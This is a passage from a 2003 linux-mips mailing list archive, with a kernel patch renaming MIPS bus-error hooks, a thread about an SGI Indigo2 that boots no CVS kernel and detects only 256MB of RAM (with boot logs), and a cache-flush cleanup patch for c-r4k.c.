@@ -32,10 +32,6 @@ extern void nec_osprey_power_off(void);
 extern void vr4181_init_serial(void);
 extern void vr4181_init_time(void);
 
-void __init bus_error_init(void)
-{
-}
-
 void __init nec_osprey_setup(void)
 {
 	set_io_port_base(VR4181_PORT_BASE);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/casio-e55/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/casio-e55/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/casio-e55/init.c	2002-10-03 16:58:02.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/casio-e55/init.c	2003-04-11 17:34:56.000000000 +0000
@@ -27,10 +27,6 @@ const char *get_system_type(void)
 	return "CASIO CASSIOPEIA E-11/15/55/65";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	int i;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/ibm-workpad/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/ibm-workpad/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/ibm-workpad/init.c	2002-10-03 16:58:02.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/ibm-workpad/init.c	2003-04-11 17:34:40.000000000 +0000
@@ -27,10 +27,6 @@ const char *get_system_type(void)
 	return "IBM WorkPad z50";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	int i;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/nec-eagle/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/nec-eagle/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/nec-eagle/init.c	2002-07-15 00:02:56.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/nec-eagle/init.c	2003-04-11 17:34:23.000000000 +0000
@@ -52,10 +52,6 @@ const char *get_system_type(void)
 	return "NEC Eagle/Hawk";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	int i;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/tanbac-tb0226/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/tanbac-tb0226/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/tanbac-tb0226/init.c	2003-04-07 02:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/tanbac-tb0226/init.c	2003-04-13 17:51:33.000000000 +0000
@@ -30,10 +30,6 @@ const char *get_system_type(void)
 	return "TANBAC TB0226";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	u32 config;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/victor-mpc30x/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/victor-mpc30x/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/victor-mpc30x/init.c	2002-10-03 16:58:02.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/victor-mpc30x/init.c	2003-04-11 17:33:48.000000000 +0000
@@ -30,10 +30,6 @@ const char *get_system_type(void)
 	return "Victor MP-C303/304";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	int i;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/zao-capcella/init.c linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/zao-capcella/init.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips/vr41xx/zao-capcella/init.c	2003-04-07 02:56:30.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips/vr41xx/zao-capcella/init.c	2003-04-13 17:51:33.000000000 +0000
@@ -30,10 +30,6 @@ const char *get_system_type(void)
 	return "ZAO Networks Capcella";
 }
 
-void __init bus_error_init(void)
-{
-}
-
 void __init prom_init(int argc, char **argv, unsigned long magic, int *prom_vec)
 {
 	u32 config;
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/arch/mips64/kernel/traps.c linux-mips-2.4.21-pre4-20030411/arch/mips64/kernel/traps.c
--- linux-mips-2.4.21-pre4-20030411.macro/arch/mips64/kernel/traps.c	2003-04-09 02:56:57.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/arch/mips64/kernel/traps.c	2003-04-13 17:51:33.000000000 +0000
@@ -7,7 +7,7 @@
  * Copyright (C) 1995, 1996 Paul M. Antoine
  * Copyright (C) 1998 Ulf Carlsson
  * Copyright (C) 1999 Silicon Graphics, Inc.
- * Copyright (C) 2002  Maciej W. Rozycki
+ * Copyright (C) 2002, 2003  Maciej W. Rozycki
  */
 #include <linux/config.h>
 #include <linux/init.h>
@@ -59,7 +59,8 @@ extern int fpu_emulator_cop1Handler(int 
 
 void fpu_emulator_init_fpu(void);
 
-int (*be_board_handler)(struct pt_regs *regs, int is_fixup);
+void (*board_be_init)(void);
+int (*board_be_handler)(struct pt_regs *regs, int is_fixup);
 
 int kstack_depth_to_print = 24;
 
@@ -366,8 +367,8 @@ asmlinkage void do_be(struct pt_regs *re
 	if (fixup)
 		action = MIPS_BE_FIXUP;
 
-	if (be_board_handler)
-		action = be_board_handler(regs, fixup != 0);
+	if (board_be_handler)
+		action = board_be_handler(regs, fixup != 0);
 
 	switch (action) {
 	case MIPS_BE_DISCARD:
@@ -708,7 +709,8 @@ void __init trap_init(void)
 	 * by external hardware.  Therefore these two exceptions
 	 * may have board specific handlers.
 	 */
-	bus_error_init();
+	if (board_be_init)
+		board_be_init();
 
 	set_except_vector(1, __xtlb_mod);
 	set_except_vector(2, __xtlb_tlbl);
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips/traps.h linux-mips-2.4.21-pre4-20030411/include/asm-mips/traps.h
--- linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips/traps.h	2002-06-26 12:22:42.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/include/asm-mips/traps.h	2003-04-11 18:15:03.000000000 +0000
@@ -3,7 +3,7 @@
  *
  *	Trap handling definitions.
  *
- *	Copyright (C) 2002  Maciej W. Rozycki
+ *	Copyright (C) 2002, 2003  Maciej W. Rozycki
  *
  *	This program is free software; you can redistribute it and/or
  *	modify it under the terms of the GNU General Public License
@@ -14,14 +14,13 @@
 #define __ASM_MIPS_TRAPS_H
 
 /*
- * Possible status responses for a be_board_handler backend.
+ * Possible status responses for a board_be_handler backend.
  */
 #define MIPS_BE_DISCARD	0		/* return with no action */
 #define MIPS_BE_FIXUP	1		/* return to the fixup code */
 #define MIPS_BE_FATAL	2		/* treat as an unrecoverable error */
 
-extern int (*be_board_handler)(struct pt_regs *regs, int is_fixup);
-
-extern void bus_error_init(void);
+extern void (*board_be_init)(void);
+extern int (*board_be_handler)(struct pt_regs *regs, int is_fixup);
 
 #endif /* __ASM_MIPS_TRAPS_H */
diff -up --recursive --new-file linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips64/traps.h linux-mips-2.4.21-pre4-20030411/include/asm-mips64/traps.h
--- linux-mips-2.4.21-pre4-20030411.macro/include/asm-mips64/traps.h	2002-06-26 12:22:42.000000000 +0000
+++ linux-mips-2.4.21-pre4-20030411/include/asm-mips64/traps.h	2003-04-11 18:15:09.000000000 +0000
@@ -3,7 +3,7 @@
  *
  *	Trap handling definitions.
  *
- *	Copyright (C) 2002  Maciej W. Rozycki
+ *	Copyright (C) 2002, 2003  Maciej W. Rozycki
  *
  *	This program is free software; you can redistribute it and/or
  *	modify it under the terms of the GNU General Public License
@@ -14,14 +14,13 @@
 #define __ASM_MIPS64_TRAPS_H
 
 /*
- * Possible status responses for a be_board_handler backend.
+ * Possible status responses for a board_be_handler backend.
  */
 #define MIPS_BE_DISCARD	0		/* return with no action */
 #define MIPS_BE_FIXUP	1		/* return to the fixup code */
 #define MIPS_BE_FATAL	2		/* treat as an unrecoverable error */
 
-extern int (*be_board_handler)(struct pt_regs *regs, int is_fixup);
-
-extern void bus_error_init(void);
+extern void (*board_be_init)(void);
+extern int (*board_be_handler)(struct pt_regs *regs, int is_fixup);
 
 #endif /* __ASM_MIPS64_TRAPS_H */


From ladis@linux-mips.org Mon Apr 14 15:08:09 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 15:08:10 +0100 (BST)
Received: from ftp.ckdenergo.cz ([IPv6:::ffff:80.95.97.155]:64251 "EHLO simek")
	by linux-mips.org with ESMTP id <S8225202AbTDNOII>;
	Mon, 14 Apr 2003 15:08:08 +0100
Received: from ladis by simek with local (Exim 3.36 #1 (Debian))
	id 1954cK-0000DZ-00; Mon, 14 Apr 2003 16:07:28 +0200
Date: Mon, 14 Apr 2003 16:07:18 +0200
To: Kumba <kumba@gentoo.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
Message-ID: <20030414140717.GA805@simek>
References: <3E98F206.5050206@gentoo.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E98F206.5050206@gentoo.org>
User-Agent: Mutt/1.5.4i
From: Ladislav Michl <ladis@linux-mips.org>
Return-Path: <ladis@linux-mips.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2021
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ladis@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Sun, Apr 13, 2003 at 01:13:42AM -0400, Kumba wrote:
> 	Greetings,

Hi,

> 	Couple issues I've tried to bring up on this ML, but I think was 
> blocked due my having an AOL.com address (which most people on this list 
> probably categorize as spam).  Anyways...
> 
> 	The two issues I've run into are my failure to get a kernel compiled 
> from linux-mips.org CVS to actually boot, and linux, when I use a 
> working kernel, does not detect the full 320MB of ram in my machine.
> 
> 	On the first issue, the kernel builds fine, just does not boot.  
> 	There is no output from the kernel on why it refuses to boot.  It just 
> stops responding to any input, and I hear no disk activity from the machine 
> indicating it's actually doing something.  I even tried with with an 
> antiquitated 2.4.3 kernel apparently off CVS as well, same result. 
> However, using a stock kernel off kernel.org plus a debian patch for 
> 2.4.19, a workable kernel can be built and it boots fine.  I've since 
> modified this debian patch to work with newer kernels (up to 
> 2.4.21-pre7), and it works, no problems.  I have no further idea what is 
> wrong in this case.

I'd say you've tried cvs kernel at the times when support for R4400
caches was broken. I put kernel I'm currently running at
http://www.linux-mips.org/~ladis/vmlinux.gz (gunzip it :)), as you can
see from dmesg at the end of this mail CPU used in your machine is the
same. If kernel I provided doesn't boot for you I'd like to ask you for
help with debugging (kernel was build from cvs updated at 8:30 CEST)

> 	On the second issue, a "hinv" command at the PROM Monitor lists my 
> machine as having 320MB of ram, however the kernel is apparently only 
> detecting 256.  Upon the advice of Keith Wesolowski of Project Foobazco, 
> I enabled the DEBUG #define in arch/mip/arc/memory.c to see what the ARC 
> Memory descriptor dump was like.  Keith said the dump indicated that 
> whatever was going on between the kernel and the PROM/ARC, the kernel 
> was specifically being told there is 256MB of ram.

This is known bug, but unfortunately I have not enough RAM to meet it...

> 	For reference, the first eight slots are filled with 32meg SIMMs, 
> 	and the last four filled with four 16MB simms, for a total of 320MB.  I 
> tried testing only the four 16MB simms in the first bank, and both hinv 
> and the kernel reported a functional amount of ram roughly equal to 
> 64MB.  I tried putting 128MB in bank 1, 64MB in bank 2, and the 
> remaining 128MB in bank 3, thinking linux just doesn't see the last bank 
> of ram...ARC/PROM still reported 320MB, the kernel said 256MB.
> 
> 	Really I'm at a loss as to what is wrong.  I do know that when I 
> briefly had installed an IP28 mainboard + R10K module, and all the ram 
> and booted Thiemo's experimental 2.5.1 IP28 kernel, it saw all 320MB of 
> ram.  However, that being a totally different mainboard, such 
> information is probably not pertinent to this little investigation here...
> 
> 	I've included a log of what hinv says, my attempt to boot a CVS 
> 	kernel, and a working kernel.  Of notice, is with the CVS kernel, I also 
> enabled DEBUG in arch/mips/arc/memory.c, and that did print debug output , 
> however nothing further to indicate the CVS kernel booting.  My PROM 
> chip also says this information: P/N: 070-1367-010, 3895 S6275.  I 
> include that only on the odd circumstance I have an extremely weird 
> PROM.  Who knows...
> 
> 	If any other information is needed, let me know, I'll provide 
> 	whatever I can.  It may not seem like much, it's only another 64MB of ram 
> not available, but it's definitely out of the norm, so I figure it's worth 
> a good look into.
> 
> --Kumba
> Gentoo/Sparc/Mips Developer

> // hinv output
> 
>                    System: IP22
>                 Processor: 250 Mhz R4400, with FPU
>      Primary I-cache size: 16 Kbytes
>      Primary D-cache size: 16 Kbytes
>      Secondary cache size: 2048 Kbytes
>               Memory size: 320 Mbytes
>                 SCSI Disk: scsi(0)disk(1)
>                 SCSI Disk: scsi(0)disk(2)
>                SCSI CDROM: scsi(0)cdrom(4)
>                     Audio: Iris Audio Processor: version A2 revision 1.1.0
> 
> 
> 
> 
> // linux-mips CVS kernel Boot attempt
> 
> >> boot -f 2421pm
> ARCS MEMORY DESCRIPTOR dump:
> [0,a8748a48]: base<00000000> pages<00000001> type<Exception Block>
> [1,a8748a64]: base<00000001> pages<00000001> type<ARCS Romvec Page>
> [2,a8748a2c]: base<00008002> pages<000001dd> type<Standalone Program Pages>
> [3,a87492fc]: base<000081df> pages<00000561> type<Generic Free RAM>
> [4,a87492cc]: base<00008740> pages<000000c0> type<ARCS Temp Storage Area>
> [5,a87492b0]: base<00008800> pages<0000f800> type<Generic Free RAM>
> 
> 
> 
> 
> // 2.4.21-pre7 off kernel.org + modified debian patch
> 
> >> boot -f 2421p7d
> ARCS MEMORY DESCRIPTOR dump:
> [0,a8748a48]: base<00000000> pages<00000001> type<Exception Block>
> [1,a8748a64]: base<00000001> pages<00000001> type<ARCS Romvec Page>
> [2,a8748a2c]: base<00008002> pages<000001ee> type<Standalone Program Pages>
> [3,a87492fc]: base<000081f0> pages<00000550> type<Generic Free RAM>
> [4,a87492cc]: base<00008740> pages<000000c0> type<ARCS Temp Storage Area>
> [5,a87492b0]: base<00008800> pages<0000f800> type<Generic Free RAM>
> ARCH: SGI-IP22
> PROMLIB: ARC firmware Version 1 Revision 10
> CPU: MIPS-R4400 FPU<MIPS-R4400FPC> ICACHE DCACHE SCACHE
> CPU revision is: 00000460
> FPU revision is: 00000500
> Primary instruction cache 16kb, linesize 16 bytes.
> Primary data cache 16kb, linesize 16 bytes.
> Secondary cache sized at 2048K linesize 128 bytes.
> Linux version 2.4.21-pre7 (root@isengard) (gcc version 3.2.2) #2 Sat Apr 12 17:3
> 0:18 EDT 2003
> MC: SGI memory controller Revision 3
> Determined physical RAM map:
>  memory: 00001000 @ 00000000 (reserved)
>  memory: 00001000 @ 00001000 (reserved)
>  memory: 001ee000 @ 08002000 (reserved)
>  memory: 00550000 @ 081f0000 (usable)
>  memory: 000c0000 @ 08740000 (ROM data)
>  memory: 0f800000 @ 08800000 (usable)
> On node 0 totalpages: 98304
> zone(0): 36864 pages.
> zone(1): 61440 pages.
> zone(2): 0 pages.
> Kernel command line: root=/dev/sda3
> EISA: Probing bus...
> EISA: slot 4 : TCM5970 detected.
> EISA: Detected 1 card.
> ISA support compiled in.
> Calibrating system timer... 1250000 [250.00 MHz CPU]
> GIO: Scanning for GIO cards...
> GIO: Card 0x7f @ 0x1f000000
> GIO: Card 0x04 @ 0x1f400000
> Console: colour dummy device 80x25
> zs0: console input
> Console: ttyS0 (Zilog8530), 38400 baud
> Calibrating delay loop... 124.92 BogoMIPS
> Memory: 255108k/259392k available (1603k kernel code, 4284k reserved, 108k data,
>  88k init, 0k highmem)
> Dentry cache hash table entries: 65536 (order: 7, 524288 bytes)
> Inode cache hash table entries: 32768 (order: 6, 262144 bytes)
> Mount cache hash table entries: 512 (order: 0, 4096 bytes)
> Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
> Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
> Checking for 'wait' instruction...  unavailable.
> POSIX conformance testing by UNIFIX
> isapnp: Scanning for PnP cards...
> isapnp: No Plug & Play device found
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Initializing RT netlink socket
> Starting kswapd
> Journalled Block Device driver loaded
> devfs: v1.12c (20020818) Richard Gooch (rgooch@atnf.csiro.au)
> devfs: boot_options: 0x1
> parport0: PC-style at 0x278 [PCSPP,TRISTATE,EPP]
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
it can't work ;)
> initialize_kbd: Keyboard failed self test
> keyboard: Timeout - AT keyboard not present?(ed)
> keyboard: Timeout - AT keyboard not present?(f4)
> pty: 256 Unix98 ptys configured
> DS1286 Real Time Clock Driver v1.0
> lp0: using parport0 (polling).
> tipar: parallel link cable driver, version 1.18
> tipar: registering to devfs : major = 115, minor = 0, node = 0
> tipar0: using parport0 (polling).
> tipar0: link cable not found.
> Hardware Watchdog Timer for SGI IP22: 0.2
> sgiseeq.c: David S. Miller (dm@engr.sgi.com)
> eth0: SGI Seeq8003 08:00:69:0a:6d:33
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> loop: loaded (max 8 devices)
> 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html
> See Documentation/networking/vortex.txt
> 3c59x: 3Com EISA 3c590 Vortex 10Mbps at 0x4000. Vers LK1.1.16
>  ff:ff:ff:ff:ff:ff, IRQ 3
>   product code ffff rev ffff.15 date 15-31-127
> Full duplex capable
>   1024K word-wide RAM 3:5 Rx:Tx split, autoselect/<invalid transceiver> interfac
> e.
>   Enabling bus-master transmits and early receives.
> 3c59x: scatter/gather enabled. h/w checksums disabled
> SCSI subsystem driver Revision: 1.00
> wd33c93-0: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
>            setup_args=,,,,,,,,,
>            Version 1.25 - 09/Jul/1997, Compiled Apr 12 2003 at 16:25:26
> wd33c93-1: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
>            setup_args=,,,,,,,,,
>            Version 1.25 - 09/Jul/1997, Compiled Apr 12 2003 at 16:25:26
> scsi0 : SGI WD93
> scsi1 : SGI WD93
>  sending SDTR 0103013f0csync_xfer=2c  Vendor: SEAGATE   Model: ST19171W
>  Rev: 2219
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>  sending SDTR 0103013f0csync_xfer=2c  Vendor: IBM       Model: DCHS09F  CLAR09
>  Rev: SG53
>   Type:   Direct-Access                      ANSI SCSI revision: 02
>  sending SDTR 0103013f08sync_xfer=28  Vendor: TOSHIBA   Model: CD-ROM XM-5701TA
>  Rev: 1557
>   Type:   CD-ROM                             ANSI SCSI revision: 02
> Attached scsi disk sda at scsi0, channel 0, id 1, lun 0
> Attached scsi disk sdb at scsi0, channel 0, id 2, lun 0
> SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
> Partition check:
>  /dev/scsi/host0/bus0/target1/lun0: p1 p2 p3 p4 p5 p6 p7 p8 p9
> SCSI device sdb: 17796078 512-byte hdwr sectors (9112 MB)
>  /dev/scsi/host0/bus0/target2/lun0: p1 p2 p3 p4
> Attached scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
> scsi0 channel 0 : resetting for second half of retries.
> SCSI bus is being reset for host 0 channel 0.
> scsi0: reset.  sending SDTR 0103013f08sync_xfer=28<3>sr0: CDROM (ioctl) error, c
> ommand: 0x1a 00 2a 00 80 00
> sr00:00: sns =  0  0
> Non-extended sense class 0 code 0x0
> Raw sense data:0x00 0x00 0x00 0x00
> sr0: scsi-1 drive
> Uniform CD-ROM driver Revision: 3.12
> SGI Zilog8530 serial driver version 1.00
> tty00 at 0xbfbd9830 (irq = 45) is a Zilog8530
> tty01 at 0xbfbd9838 (irq = 45) is a Zilog8530
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 4096 buckets, 32Kbytes
> TCP: Hash tables configured (established 32768 bind 65536)
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
>  sending SDTR 0103013f0csync_xfer=2c<6>kjournald starting.  Commit interval 5 se
> conds
> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> Mounted devfs on /dev
> Freeing prom memory: 768kb freed
> INIT: version 2.84 booting
[snip]

ARCH: SGI-IP22
PROMLIB: ARC firmware Version 1 Revision 10
CPU: MIPS-R4400 FPU<MIPS-R4400FPC> ICACHE DCACHE SCACHE 
CPU revision is: 00000460
FPU revision is: 00000500
Primary instruction cache 16kb, physically tagged, direct mapped, linesize 16 bytes
Primary data cache 16kb direct mapped, linesize 16 bytes
Secondary cache sized at 1024K, linesize 128 bytes.
Linux version 2.4.21-pre4 (ladis@simek) (gcc version 3.2) #11 Po dub 14 09:10:06 CEST 2003
MC: SGI memory controller Revision 3
Determined physical RAM map:
 memory: 00001000 @ 00000000 (reserved)
 memory: 00001000 @ 00001000 (reserved)
 memory: 001be000 @ 08002000 (reserved)
 memory: 00580000 @ 081c0000 (usable)
 memory: 000c0000 @ 08740000 (ROM data)
 memory: 03800000 @ 08800000 (usable)
On node 0 totalpages: 49152
zone(0): 49152 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: ip=any
Calibrating system timer... 1000000 [200.00 MHz CPU]
Console: colour dummy device 80x25
zs0: console input
Console: ttyS0 (Zilog8530), 9600 baud
Calibrating delay loop... 99.94 BogoMIPS
Memory: 60816k/62976k available (1431k kernel code, 2160k reserved, 104k data, 76k init, 0k highmem)
Dentry cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Checking for 'wait' instruction...  unavailable.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
initialize_kbd: Keyboard failed self test
pty: 256 Unix98 ptys configured
keyboard: Timeout - AT keyboard not present?(ed)
keyboard: Timeout - AT keyboard not present?(f4)
DS1286 Real Time Clock Driver v1.0
SGI Zilog8530 serial driver version 1.00
tty00 at 0xbfbd9830 (irq = 45) is a Zilog8530
tty01 at 0xbfbd9838 (irq = 45) is a Zilog8530
sgiseeq.c: David S. Miller (dm@engr.sgi.com)
eth0: SGI Seeq8003 08:00:69:08:ad:02 
SCSI subsystem driver Revision: 1.00
wd33c93-0: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
           setup_args=,,,,,,,,,
           Version 1.25 - 09/Jul/1997, Compiled Apr 14 2003 at 09:11:31
wd33c93-1: chip=WD33c93B/13 no_sync=0xff no_dma=0 debug_flags=0x00
           setup_args=,,,,,,,,,
           Version 1.25 - 09/Jul/1997, Compiled Apr 14 2003 at 09:11:31
scsi0 : SGI WD93
scsi1 : SGI WD93
SGI HAL2 revision 1.1.0
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 16384 bind 32768)
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.50.22, my address is 192.168.50.56
IP-Config: Complete:
      device=eth0, addr=192.168.50.56, mask=255.255.255.0, gw=192.168.50.1,
     host=indigo2, domain=ckdenergo.cz, nis-domain=(none),
     bootserver=192.168.50.22, rootserver=192.168.50.22, rootpath=/exports/ip22
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 192.168.50.22
Looking up port of RPC 100005/1 on 192.168.50.22
VFS: Mounted root (nfs filesystem).
Freeing prom memory: 768kb freed
Freeing unused kernel memory: 76k freed

regards,
	ladis

From anemo@mba.ocn.ne.jp Mon Apr 14 16:18:07 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 16:18:09 +0100 (BST)
Received: from mba.ocn.ne.jp ([IPv6:::ffff:210.190.142.172]:10698 "HELO
	smtp.mba.ocn.ne.jp") by linux-mips.org with SMTP
	id <S8225202AbTDNPSH>; Mon, 14 Apr 2003 16:18:07 +0100
Received: from localhost (p5186-ip02funabasi.chiba.ocn.ne.jp [61.214.4.186])
	by smtp.mba.ocn.ne.jp (Postfix) with ESMTP
	id EA32D37AA; Tue, 15 Apr 2003 00:17:54 +0900 (JST)
Date: Tue, 15 Apr 2003 00:24:25 +0900 (JST)
Message-Id: <20030415.002425.74756927.anemo@mba.ocn.ne.jp>
To: linux-mips@linux-mips.org, ralf@linux-mips.org
Subject: minor c-r4k.c cleanup
From: Atsushi Nemoto <anemo@mba.ocn.ne.jp>
X-Fingerprint: 6ACA 1623 39BD 9A94 9B1A  B746 CA77 FE94 2874 D52F
X-Pgp-Public-Key: http://wwwkeys.pgp.net/pks/lookup?op=get&search=0x2874D52F
X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <anemo@mba.ocn.ne.jp>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2022
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: anemo@mba.ocn.ne.jp
Precedence: bulk
X-list: linux-mips

r4k_dma_cache_xxx should not flush icache ?

diff -u linux-mips/arch/mips/mm/c-r4k.c linux.new/arch/mips/mm
--- linux-mips/arch/mips/mm/c-r4k.c	Mon Apr 14 23:08:02 2003
+++ linux.new/arch/mips/mm/c-r4k.c	Tue Apr 15 00:12:27 2003
@@ -514,7 +514,7 @@
 	unsigned long end, a;
 
 	if (size >= dcache_size) {
-		r4k_flush_pcache_all();
+		r4k_blast_dcache();
 	} else {
 		unsigned long dc_lsize = current_cpu_data.dcache.linesz;
 		R4600_HIT_CACHEOP_WAR_DECL;
@@ -539,7 +539,8 @@
 	unsigned long end, a;
 
 	if (size >= scache_size) {
-		r4k_flush_scache_all();
+		r4k_blast_dcache();
+		r4k_blast_scache();
 		return;
 	}
 
@@ -558,7 +559,7 @@
 	unsigned long end, a;
 
 	if (size >= dcache_size) {
-		r4k_flush_pcache_all();
+		r4k_blast_dcache();
 	} else {
 		unsigned long dc_lsize = current_cpu_data.dcache.linesz;
 		R4600_HIT_CACHEOP_WAR_DECL;
@@ -583,7 +584,8 @@
 	unsigned long end, a;
 
 	if (size >= scache_size) {
-		r4k_flush_scache_all();
+		r4k_blast_dcache();
+		r4k_blast_scache();
 		return;
 	}
 
---

And I wonder why r4k_flush_pcache_mm (and r4k_flush_pcache_all) does
nothing if cpu_has_dc_aliases was not true.  I'm still
investigating...

---
Atsushi Nemoto

From kumba@gentoo.org Mon Apr 14 16:52:56 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 16:52:57 +0100 (BST)
Received: from smtp-out.comcast.net ([IPv6:::ffff:24.153.64.116]:54915 "EHLO
	smtp-out.comcast.net") by linux-mips.org with ESMTP
	id <S8225202AbTDNPw4>; Mon, 14 Apr 2003 16:52:56 +0100
Received: from gentoo.org
 (pcp02545003pcs.waldrf01.md.comcast.net [68.48.92.102])
 by mtaout08.icomcast.net
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with ESMTP id <0HDC00751C2BFU@mtaout08.icomcast.net> for
 linux-mips@linux-mips.org; Mon, 14 Apr 2003 11:51:47 -0400 (EDT)
Date: Mon, 14 Apr 2003 11:53:47 -0400
From: Kumba <kumba@gentoo.org>
Subject: Re: Oddities with CVS Kernels, Memory on Indigo2
In-reply-to: <20030414140717.GA805@simek>
To: linux-mips@linux-mips.org
Reply-to: kumba@gentoo.org
Message-id: <3E9AD98B.90808@gentoo.org>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii; format=flowed
Content-transfer-encoding: 7BIT
X-Accept-Language: en-us, en
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3)
 Gecko/20030312
References: <3E98F206.5050206@gentoo.org> <20030414140717.GA805@simek>
Return-Path: <kumba@gentoo.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2023
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: kumba@gentoo.org
Precedence: bulk
X-list: linux-mips

Ladislav Michl wrote:
> I'd say you've tried cvs kernel at the times when support for R4400
> caches was broken. I put kernel I'm currently running at
> http://www.linux-mips.org/~ladis/vmlinux.gz (gunzip it :)), as you can
